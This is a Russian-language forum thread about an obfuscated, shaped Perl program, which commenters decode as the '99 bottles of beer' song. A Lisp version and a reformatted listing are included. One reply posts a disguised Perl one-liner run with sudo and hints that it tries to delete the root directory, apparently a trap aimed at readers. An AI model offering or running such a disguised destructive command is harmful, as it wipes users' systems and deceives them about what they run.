LINUX.ORG.RU
ФорумTalks

программа на перле


0

0

может и боян древний, но я на лоре еще не видел.

как вам вот это программа?

    ''=~(        '(?{'        .('`'        |'%')        .('['        ^'-')
    .('`'        |'!')        .('`'        |',')        .'"'.        '\\$'
    .'=='        .('['        ^'+')        .('`'        |'/')        .('['
    ^'+')        .'||'        .(';'        &'=')        .(';'        &'=')
    .';-'        .'-'.        '\\$'        .'=;'        .('['        ^'(')
    .('['        ^'.')        .('`'        |'"')        .('!'        ^'+')
   .'_\\{'      .'(\\$'      .';=('.      '\\$=|'      ."\|".(      '`'^'.'
  ).(('`')|    '/').').'    .'\\"'.+(    '{'^'[').    ('`'|'"')    .('`'|'/'
 ).('['^'/')  .('['^'/').  ('`'|',').(  '`'|('%')).  '\\".\\"'.(  '['^('(')).
 '\\"'.('['^  '#').'!!--'  .'\\$=.\\"'  .('{'^'[').  ('`'|'/').(  '`'|"\&").(
 '{'^"\[").(  '`'|"\"").(  '`'|"\%").(  '`'|"\%").(  '['^(')')).  '\\").\\"'.
 ('{'^'[').(  '`'|"\/").(  '`'|"\.").(  '{'^"\[").(  '['^"\/").(  '`'|"\(").(
 '`'|"\%").(  '{'^"\[").(  '['^"\,").(  '`'|"\!").(  '`'|"\,").(  '`'|(',')).
 '\\"\\}'.+(  '['^"\+").(  '['^"\)").(  '`'|"\)").(  '`'|"\.").(  '['^('/')).
 '+_,\\",'.(  '{'^('[')).  ('\\$;!').(  '!'^"\+").(  '{'^"\/").(  '`'|"\!").(
 '`'|"\+").(  '`'|"\%").(  '{'^"\[").(  '`'|"\/").(  '`'|"\.").(  '`'|"\%").(
 '{'^"\[").(  '`'|"\$").(  '`'|"\/").(  '['^"\,").(  '`'|('.')).  ','.(('{')^
 '[').("\["^  '+').("\`"|  '!').("\["^  '(').("\["^  '(').("\{"^  '[').("\`"|
 ')').("\["^  '/').("\{"^  '[').("\`"|  '!').("\["^  ')').("\`"|  '/').("\["^
 '.').("\`"|  '.').("\`"|  '$')."\,".(  '!'^('+')).  '\\",_,\\"'  .'!'.("\!"^
 '+').("\!"^  '+').'\\"'.  ('['^',').(  '`'|"\(").(  '`'|"\)").(  '`'|"\,").(
 '`'|('%')).  '++\\$="})'  );$:=('.')^  '~';$~='@'|  '(';$^=')'^  '[';$/='`';

это на перле офк. просто потрясно, но не понятно, что делает? не подскажите?

★★★★★

Где-то я это уже видел... если вспомню, скажу.

Cancellor ★★★★☆
()

с use strict не работает, поэтому в топку

dimon555 ★★★★★
()

Из-под рута запускать, да? :)

vden ★★
()

Печатает

99 bottles of beer on the wall, 99 bottles of beer!
Take one down, pass it around,
98 bottles of beer on the wall!

98 bottles of beer on the wall, 98 bottles of beer!
Take one down, pass it around,
97 bottles of beer on the wall!

И т. д.

Zenom ★★★
()

Запускать, как всегда, из под рута?

narayan
()

Ацкий боян, я еще в школе это видел.

Sun-ch
()
Ответ на: комментарий от val-amart

Знал. По коду понять не представляется возможным%)

Zenom ★★★
()
Ответ на: комментарий от PolarFox

> Никаких тебе rm -rf / и форкбомб.
тем не менее, 8 руткитов уже заслано, удачи в поисках ж)

val-amart ★★★★★
() автор топика

http://www.99-bottles-of-beer.net


;; Execute with:
;; * sbcl --noinform --load bottle-song.lisp --eval '(quit)'
;; * clisp bottle-song.lisp

(in-package :cl-user)

(defun bottle-song (&optional (in-stock 99) (stream *standard-output*))
  ;; Original idea by Geoff Summerhayes <sumrnot@hotmail.com>
  ;; Formatting idea by Fred Gilham <gilham@snapdragon.csl.sri.com>
  ;; Actual formatting & minor recoding by Kent M Pitman
  ;;   <pitman@world.std.com>
  ;; Redone for conformance to <http://www.99-bottles-of-beer.net/>
  ;;   by Michael Weber <michaelw@foldr.org>.
  (format

              stream
            "~v{~1&~0%~
             ~000000%~
             ~000000%~
             ~000000%~
            ~00000000%~
           ~:/bottles/ ~
         of beer on ~000%~
         the wall, ~001:*~
         ~99/bottles/ of ~
         beer.~1:*~%~[Go ~
         to the store and~
         ~000@* buy some ~
         more, ~/bottles/~
         ~00% of beer on ~
         the wall.~01%~:;~
         Take one down an~
         d pass it around~
         , ~999/bottles/ ~
         ~:*of beer on th~
         e wall.~002%~]~}"
           (1+ in-stock)

   (loop for bottle from in-stock downto 0 collect bottle)))

(defun bottles (stream arg &optional colonp atp &rest args)
  (declare (ignore atp args))
  (format stream "~[~:[n~;N~]o more bottles~:;~:*~A bottle~:*~P~]"
          arg colonp))

(bottle-song)

paranonymous
()
Ответ на: комментарий от paranonymous

хо-хо, а вот это я проглядел, впечатляет

val-amart ★★★★★
() автор топика

ОЙ, а че это у меня музыка играть перестала после нее ?.. эт чето на мультимедию влияет ?.. щас ребутнусь и посмотрим....

sin_a ★★★★★
()

У меня эта однострочка не работает. Говорить что невозможно удалить корневой каталог.

echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

matich
()
Ответ на: комментарий от val-amart

Мдя? "Ничего странного" после того как кто то запостил разшифровку кода со словами, "а это я и пропустил" и "у меня что-то звук пропал"? Ненене, val-a-mort, ненене. :) Хотя выглядит скрипт то красиво :)

djzielony
()

обычный регэксп. Вернее несколько регэкспов. Приведи к нормальному виду и смысл прояснится

//всегда Ваш, К.О.

DNA_Seq ★★☆☆☆
()

#!/usr/bin/perl

''=~
('
  (?{'
  .	('`'|'%')
  .	('['^'-')
  .	('`'|'!')
  .	('`'|',')
  .'"'.'\\$'.'=='
  .	('['^'+')
  .	('`'|'/')
  .('['^'+')
  .'||'
  .(';'&'=')
.(';'&'=').';-'.'-'.'\\$'
.'=;'('['^'(')
.	('['^'.')
.	('`'|'"')
.	('!'^'+')
.'_\\{'
.'(\\$'
.';=('
.'\\$=|'
."\|"
.	('`'^'.')
.	(('`')|'/')
.').'
.'\\"'
.+('{'^'[')
.	('`'|'"')
.	('`'|'/')
.	('['^'/')
.	('['^'/')
.	('`'|',')
.	('`'|('%'))
.'\\".\\"'
.	('['^('('))
.'\\"'
.	('['^'#')
.'!!--'
.'\\$=.\\"'
.	('{'^'[')
.	('`'|'/')
.	('`'|"\&")
.	('{'^"\[")
.	('`'|"\"")
.	('`'|"\%")
.	('`'|"\%")
.	('['^(')'))
.'\\").\\"'
.	('{'^'[')
.	('`'|"\/")
.	('`'|"\.")
.	('{'^"\[")
.	('['^"\/")
.	('`'|"\(")
.	('`'|"\%")
.	('{'^"\[")
.	('['^"\,")
.	('`'|"\!")
.	('`'|"\,")
.	('`'|(','))
.'\\"\\}'
.	+('['^"\+")
.	('['^"\)")
.	('`'|"\)")
.	('`'|"\.")
.	('['^('/'))
.'+_,\\",'
.	('{'^('['))
.	('\\$;!')
.	('!'^"\+")
.	('{'^"\/")
.	('`'|"\!")
.	('`'|"\+")
.	('`'|"\%")
.	('{'^"\[")
.	('`'|"\/")
.	('`'|"\.")
.	('`'|"\%")
.	('{'^"\[")
.	('`'|"\$")
.	('`'|"\/")
.	('['^"\,")
.	('`'|('.'))
.','
.	(('{')^'[')
.	("\["^'+')
.	("\`"|'!')
.	("\["^'(')
.	("\["^'(')
.	("\{"^'[')
.	("\`"|')')
.	("\["^'/')
.	("\{"^'[')
.	("\`"|'!')
.	("\["^')')
.	("\`"|'/')
.	("\["^'.')
.	("\`"|'.')
.	("\`"|'$')
."\,"
.	('!'^('+'))
.'\\",_,\\"'
.'!'
.	("\!"^'+')
.	("\!"^'+')
.'\\"'
.	('['^',')
.	('`'|"\(")
.	('`'|"\)")
.	('`'|"\,")
.	('`'|('%'))
.'++\\$="})');
$:=('.')^'~';
$~='@'|'(';$^=')'^'[';
$/='`';

DNA_Seq ★★☆☆☆
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.